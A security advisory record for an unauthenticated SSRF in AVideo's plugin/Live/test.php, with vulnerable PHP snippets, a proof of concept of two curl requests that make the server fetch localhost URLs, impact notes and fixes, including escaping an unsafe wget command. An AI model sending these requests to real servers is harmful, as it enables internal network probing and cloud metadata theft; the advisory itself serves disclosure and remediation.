CVE-2026-33502: Wwbn/avideo AVideo Has Unauthenticated SSRF Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-3fpm-8rjr-v5mc",
  "modified" : "2026-03-25T20:31:49Z",
  "published" : "2026-03-20T20:57:56Z",
  "aliases" : [ "CVE-2026-33502" ],
  "summary" : "AVideo has Unauthenticated SSRF via plugin/Live/test.php",
  "details" : "### Summary\nAn unauthenticated server-side request forgery vulnerability in `plugin/Live/test.php` allows any remote user to make the AVideo server send HTTP requests to arbitrary URLs. This can be used to probe localhost/internal services and, when reachable, access internal HTTP resources or cloud metadata endpoints.\n\n### Details\nThe endpoint accepts `$_REQUEST['statsURL']` and only checks that it starts with `http`:\n\n```php\n$statsURL = $_REQUEST['statsURL'];\nif (empty($statsURL) || $statsURL == \"php://input\" || !preg_match(\"/^http/\", $statsURL)) {\n    exit;\n}\n```\n\nIt then calls:\n\n```php\n$result = url_get_contents($statsURL, 2);\n```\n\nInside the same file, `url_get_contents()` performs a real outbound request with `file_get_contents()` when `allow_url_fopen` is enabled:\n\n```php\n$tmp = file_get_contents($url, false, $context);\n_log('file_get_contents:: '.htmlentities($tmp));\n```\n\nThere is:\n\n- no authentication check\n- no allowlist of trusted stats URLs\n- no SSRF-safe URL validation\n- reflected response/error output\n\nValidated on source:\n\n- [test.php](https://github.com/WWBN/AVideo/blob/781aa070a61a93b1c368fca3db862bc70bad2e04/plugin/Live/test.php)\n\n\n### PoC\nTarget used during validation:\n\n```text\nhttp://127.0.0.1:80\n```\n\n1. Probe a closed localhost port:\n\n```bash\ncurl -s \\\n  'http://127.0.0.1:80/plugin/Live/test.php?statsURL=http://127.0.0.1:1/'\n```\n\nObserved response excerpt:\n\n```text\nStarting try to get URL http://127.0.0.1:1/\nurl_get_contents start timeout=2\nWarning: file_get_contents(http://127.0.0.1:1/): Failed to open stream: Connection refused\nfile_get_contents fail return an empty content\nFAIL\n```\n\n2. Probe the local web service itself:\n\n```bash\ncurl -s \\\n  'http://127.0.0.1:80/plugin/Live/test.php?statsURL=http://127.0.0.1:80/'\n```\n\nThis returns upstream connection details from the server-side request and confirms the endpoint can target local/internal HTTP services.\n\n### Impact\nThis is an unauthenticated SSRF vulnerability affecting any deployment that exposes `plugin/Live/test.php`.\n\nAn attacker can:\n\n- probe localhost and internal network services\n- distinguish open and closed ports\n- target cloud metadata endpoints if reachable\n- retrieve reflected content from internal HTTP services when the upstream responds with a body\n\nThe server and the internal network reachable from it are impacted. No unauthenticated code execution was validated from this issue on the tested environment.\n\n### remediation\nThe safest fix is to remove `plugin/Live/test.php` from production deployments.\n\nIf it must remain:\n\n- require admin authentication\n- only allow requests to explicitly configured Live stats URLs\n- block localhost, RFC1918, link-local, and metadata IP ranges\n- stop reflecting fetched bodies and raw upstream errors to the client\n\nMinimal hardening example:\n\n```php\nrequire_once dirname(__FILE__) . '/../../videos/configuration.php';\n\nif (!User::isAdmin()) {\n    http_response_code(403);\n    exit('Forbidden');\n}\n\n$statsURL = $_REQUEST['statsURL'] ?? '';\nif (empty($statsURL) || !isSSRFSafeURL($statsURL)) {\n    exit('Unsafe URL');\n}\n```\n\n### Remove `wget` Fallback Entirely\n\nThe `wget` fallback provides no unique value over `file_get_contents` + `curl` and introduces shell exposure. Remove lines 94–119 of `test.php`.\n\n### If wget must remain, escape the argument:\n\n```php\n// BEFORE (vulnerable)\n$cmd = \"wget --tries=1 {$url} -O {$filename} --no-check-certificate\";\n\n// AFTER (safe)\n$cmd = \"wget --tries=1 \" . escapeshellarg($url) . \" -O \" . escapeshellarg($filename) . \" --no-check-certificate\";\n```\n\n### Defense in Depth\n\n1. Move the file behind the admin panel URL prefix (Apache/Nginx deny rule for public access)\n2. Add `isSSRFSafeURL()` check (already exists in `objects/functions.php`) before any fetch\n3. Block outbound connections from the web process to RFC1918 addresses at the firewall/egress level",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "wwbn/avideo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "26.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-3fpm-8rjr-v5mc"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33502"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/commit/1e6cf03e93b5a5318204b010ea28440b0d9a5ab3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/WWBN/AVideo"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-20T20:57:56Z",
    "nvd_published_at" : "2026-03-23T17:16:51Z"
  }
}